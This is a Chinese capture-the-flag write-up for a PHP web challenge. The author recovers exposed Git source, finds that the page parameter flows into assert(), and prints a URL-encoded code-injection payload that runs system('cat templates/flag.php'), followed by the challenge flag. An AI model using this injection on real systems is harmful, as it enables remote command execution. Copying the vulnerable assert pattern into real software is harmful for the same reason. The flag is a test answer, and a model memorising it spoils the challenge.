打开题目
查看源码secret在page=flag
为空
点开这About界面显示
它使用了Git源码托管
githacker尝试一下
源码里有个flag.php
点开没有有用信息
这四个逐一点开后都没有进展
代码审计index.php
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
assert()
其与
eval()
类似,传入的内容会被当做代码来执行,不同的是eval中传入的值可以不用分号来结尾。示例代码:
<?php highlight_file(__FILE__); $arg = $_REQUEST['value']; assert($arg); ?>
同样也可以调用命令执行函数来执行系统命令
而且没有对page参数进行过滤现在的任务是构造payload让assert能执行命令查看flag
') or system("cat templates/flag.php");//
url编码一下
')+or+system("cat templates/flag.php")%3b%2f%2f
空白页面
查看源码
找到flag
cyberpeace{828717e70fd361cc58607d8f0cc088d7}